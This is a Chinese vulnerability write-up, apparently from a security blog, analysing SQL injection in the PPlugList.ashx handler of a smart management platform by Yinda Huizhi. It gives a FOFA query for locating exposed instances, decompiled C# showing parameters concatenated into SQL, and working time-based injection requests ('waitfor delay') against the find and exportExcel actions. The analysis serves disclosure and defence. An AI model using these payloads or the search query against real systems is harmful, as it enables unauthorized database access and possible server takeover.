银达汇智智慧综合管理平台 PPlugList.ashx SQL注入漏洞


漏洞简介

福建银达汇智信息科技股份有限公司成立于2009年,位于福建省福州市,是一家以从事软件和信息技术服务业为主的企业。银达汇智智慧综合管理平台 PPlugList.ashx 存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码,站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

title="智慧综合管理平台登入"

漏洞分析

先看下 Module/CJGL/PPlugList.aspx 部分表单

<!--查询条件End-->
    <!--列表--><div region="center" showheader="false" style="border-right: 0; border-bottom: 0;">
            <div class="mini-fit">
                <kr:DataGrid runat="server" ID="grdMain" Style="height: 100%; width: 100%" BorderStyle="padding:0;background-color: #F8F8F8; border-bottom:none;border-left:none;"
                    IdField="id" Url="Controller/PPlugList.ashx?action=find" PageSize="20">
                    <kr:DataGirdColumn runat="server" Property="columns">
                        <kr:DataGirdColumn runat="server" Type="indexcolumn" />
                        <kr:DataGirdColumn runat="server" Type="checkcolumn" />

                        <kr:DataGirdColumn runat="server" Field="PlugName" HeaderAlign="center" Allowsort="true">插件名称</kr:DataGirdColumn>
                                            <kr:DataGirdColumn runat="server" Field="PlugIdentName" HeaderAlign="center" Allowsort="true">插件类型</kr:DataGirdColumn>
                        <kr:DataGirdColumn runat="server" Field="Cols" HeaderAlign="center" Allowsort="true">列宽</kr:DataGirdColumn> 
                        <kr:DataGirdColumn runat="server" Field="Rows" HeaderAlign="center" Allowsort="true">行高</kr:DataGirdColumn>
                        <kr:DataGirdColumn runat="server" Field="DataUrl" HeaderAlign="center" Allowsort="true">插件数据源地址</kr:DataGirdColumn>
                    </kr:DataGirdColumn>
                </kr:DataGrid>

            </div>
        </div>

再看 Module/CJGL/Controller/PPlugList.ashx 页面引用的dll

<%@ WebHandler Language="C#" CodeBehind="PPlugList.ashx.cs" Class="KR.Administrator.Module.Controller.PPlugList"  %>

再去对应dll文件 KR.Administrator.dll 反编译后获取 Module.Controller.PPlugList 的执行逻辑

public override void AjaxProcess(HttpContext context)
{
  context.Response.ContentType = "text/plain";
  string str1 = WRequest.GetString("action");
  try
  {
    if (string.op_Equality(str1, "find"))
    {
      int recordcount = 0;
      string strWhere = " 1=1 ";
      if (!string.IsNullOrEmpty(WRequest.GetString("PlugIdentID")))
        strWhere += $" and PlugIdentID like '%{WRequest.GetString("PlugIdentID")}%'";
      if (!string.IsNullOrEmpty(WRequest.GetString("PlugName")))
        strWhere += $" and PlugName like '%{WRequest.GetString("PlugName")}%'";
      if (!string.IsNullOrEmpty(WRequest.GetString("DataUrl")))
        strWhere += $" and DataUrl like '%{WRequest.GetString("DataUrl")}%'";
      DataTable dataTableList = this.bll.GetDataTableList("view_T_P_PlugList", WRequest.GetInt("pagesize") == 0 ? 10 : WRequest.GetInt("pagesize"), WRequest.GetInt("pageIndex") == 0 ? 1 : WRequest.GetInt("pageIndex") + 1, "*", $" {(string.IsNullOrEmpty(WRequest.GetString("SortField")) ? (object) "id" : (object) WRequest.GetString("SortField"))} {(string.IsNullOrEmpty(WRequest.GetString("SortOrder")) ? (object) "desc" : (object) WRequest.GetString("SortOrder"))}", strWhere, out recordcount);
      DataGridModel dataGridModel = new DataGridModel()
      {
        total = recordcount,
        data = dataTableList
      };
      context.Response.Write(JsonConvert.SerializeObject((object) dataGridModel));
      LogHelper.SysInfo("插件列表管理:查看!", new Exception(context.Request.Form.ToString()));
    }
    else if (string.op_Equality(str1, "findAll"))
    {
      int recordcount = 0;
      string strWhere = " 1=1 ";
      DataTable dataTableList = this.bll.GetDataTableList("view_T_P_PlugList", 50, WRequest.GetInt("pageIndex") == 0 ? 1 : WRequest.GetInt("pageIndex") + 1, "*", $" {(string.IsNullOrEmpty(WRequest.GetString("SortField")) ? (object) "id" : (object) WRequest.GetString("SortField"))} {(string.IsNullOrEmpty(WRequest.GetString("SortOrder")) ? (object) "desc" : (object) WRequest.GetString("SortOrder"))}", strWhere, out recordcount);
      DataGridModel dataGridModel = new DataGridModel()
      {
        total = recordcount,
        data = dataTableList
      };
      context.Response.Write(JsonConvert.SerializeObject((object) dataGridModel));
      LogHelper.SysInfo("插件列表管理:查看!", new Exception(context.Request.Form.ToString()));
    }
    else if (string.op_Equality(str1, "save"))
      this.save(context);
    else if (string.op_Equality(str1, "look") || string.op_Equality(str1, "update"))
    {
      KR.Model.PPlugList pplugList = this.bll.GetItem((long) WRequest.GetInt("id"));
      context.Response.Write(JsonConvert.SerializeObject((object) pplugList));
    }
    else if (string.op_Equality(str1, "selectedDel"))
    {
      if (SystemHelper.checkPermission("PPlugList_btnDel"))
      {
        string str2 = WRequest.GetString("ids");
        if (!string.IsNullOrEmpty(str2))
        {
          IList<KR.Model.PPlugList> list = (IList<KR.Model.PPlugList>) this.bll.GetList($"id in ({str2}) ");
          LogHelper.SysInfo("插件列表管理:删除!", new Exception(JsonConvert.SerializeObject((object) list)));
          StringBuilder stringBuilder = new StringBuilder();
          foreach (KR.Model.PPlugList pplugList in (IEnumerable<KR.Model.PPlugList>) list)
          {
            stringBuilder.Append(pplugList.id);
            stringBuilder.Append(",");
          }
          this.bll.Delete((ICondition) new Condition("id", FieldType.Int32, (object) stringBuilder.ToString().Trim(new char[1]
          {
            ','
          }), Comparison.In));
          context.Response.Write(SystemHelper.WriteResult("success", "删除成功!"));
        }
        else
          context.Response.Write(SystemHelper.WriteResult("error", "请选择要删除项!"));
      }
      else
        context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
    }
    else if (string.op_Equality(str1, "conditionDel"))
    {
      if (SystemHelper.checkPermission("PPlugList_btnDel"))
      {
        string strWhere = " 1=1 ";
        if (!string.IsNullOrEmpty(WRequest.GetString("PlugIdentID")))
          strWhere += $" and PlugIdentID like '%{WRequest.GetString("PlugIdentID")}%'";
        if (!string.IsNullOrEmpty(WRequest.GetString("PlugName")))
          strWhere += $" and PlugName like '%{WRequest.GetString("PlugName")}%'";
        if (!string.IsNullOrEmpty(WRequest.GetString("DataUrl")))
          strWhere += $" and DataUrl like '%{WRequest.GetString("DataUrl")}%'";
        if (!string.IsNullOrEmpty(WRequest.GetString("org_id")))
          strWhere += $" and org_id like '%{WRequest.GetString("org_id")}%'";
        IList<KR.Model.PPlugList> list = (IList<KR.Model.PPlugList>) this.bll.GetList(strWhere);
        LogHelper.SysInfo("插件列表管理:删除!", new Exception(JsonConvert.SerializeObject((object) list)));
        StringBuilder stringBuilder = new StringBuilder();
        foreach (KR.Model.PPlugList pplugList in (IEnumerable<KR.Model.PPlugList>) list)
        {
          stringBuilder.Append(pplugList.id);
          stringBuilder.Append(",");
        }
        if (stringBuilder.Length > 0)
        {
          this.bll.Delete((ICondition) new Condition("id", FieldType.Int32, (object) stringBuilder.ToString().Trim(new char[1]
          {
            ','
          }), Comparison.In));
          context.Response.Write(SystemHelper.WriteResult("success", "删除成功!"));
        }
        else
          context.Response.Write(SystemHelper.WriteResult("error", "未找到符合条件的数据!"));
      }
      else
        context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
    }
    else if (string.op_Equality(str1, "exportExcel"))
      this.exportExcel(context);
    else
      context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
  }
  catch (Exception ex)
  {
    LogHelper.SysError($"插件列表管理:操作异常!action:{str1};Form:{context.Request.Form.ToString()}", ex);
    context.Response.Write(SystemHelper.WriteResult("error", ex.Message.Replace("\"", "'")));
  }
}

exportExcel

private void exportExcel(HttpContext context)
  {
    string condition = " 1=1 ";
    if (!string.IsNullOrEmpty(WRequest.GetString("sPlugIdentID")))
      condition += $" and PlugIdentID like '%{WRequest.GetString("sPlugIdentID")}%'";
    if (!string.IsNullOrEmpty(WRequest.GetString("sPlugName")))
      condition += $" and PlugName like '%{WRequest.GetString("sPlugName")}%'";
    if (!string.IsNullOrEmpty(WRequest.GetString("sDataUrl")))
      condition += $" and DataUrl like '%{WRequest.GetString("sDataUrl")}%'";
    if (!string.IsNullOrEmpty(WRequest.GetString("sorg_id")))
      condition += $" and org_id like '%{WRequest.GetString("sorg_id")}%'";
    DataTable dataTabelToExcel = this.bll.GetDataTabelToExcel(KR.Controls.RunTime.Global.webSiteConfig.ExportCount, condition);
    if (((InternalDataCollectionBase) dataTabelToExcel.Rows).Count <= 0)
      return;
    SystemHelper.CreateExcel(dataTabelToExcel, "application/x-excel", DateTime.Now.ToString("yyyyMMddHHmmssfff"), context, "插件列表管理导出Excel表");
  }

而 WRequest.GetString 的实现如下

  public static string GetString(string strName)
  {
    bool sqlSafeCheck = false;
    if (ConfigurationManager.AppSettings["SQLCHECK"] != null)
      sqlSafeCheck = true;
    return WRequest.GetString(strName, sqlSafeCheck);
  }

取决于 配置文件里的 SQLCHECK 值,如果没有配置,则默认为 false ,则可能造成SQL注入漏洞。

  • 当 action=find 时, PlugIdentID、PlugName、DataUrl以及 SortOrder 均是通过 WRequest.GetString 获取后拼接进SQL语句中。
  • 当 action=exportExcel 时,sPlugIdentID、sPlugName、sDataUrl 以及 sorg_id 均是通过 WRequest.GetString 获取后拼接进SQL语句中。
  • 当 action=findAll 时,未授权直接查询前 50 条数据,分页。以 JSON 格式输出 DataGridModel。
  • 当 action=save 时,调用 save(context) 方法进行保存。save 方法内部包含:判断是新增还是修改、校验插件名称唯一性、权限校验、保存数据、记录日志、输出结果。
  • 当 action=look 或 action=update 时,根据参数 id 查询单条数据。以 JSON 格式输出对应数据。
  • 当 action=selectedDel 或 action=conditionDel 时,首先校验权限,因此不能未授权利用。

整体执行流程如下图所示:

漏洞复现

action=exportExcel

POST /Module/CJGL/Controller/PPlugList.ashx HTTP/1.1
Host: windor.mrxn.net
Content-Type: application/x-www-form-urlencoded

action=exportExcel&sPlugIdentID='waitfor+delay'0:0:4'--

成功延时 4 秒

action=find

POST /Module/CJGL/Controller/PPlugList.ashx HTTP/1.1
Host: windor.mrxn.net
Content-Type: application/x-www-form-urlencoded

action=find&PlugIdentID='waitfor+delay'0:0:4'--

也成功延时 4 秒


手机扫码阅读

Salia PLCC check.php 未授权访问致信息泄露

万户ezOFFICE govdocumentmanager_judge_receivenum.jsp SQL注入漏洞

评 论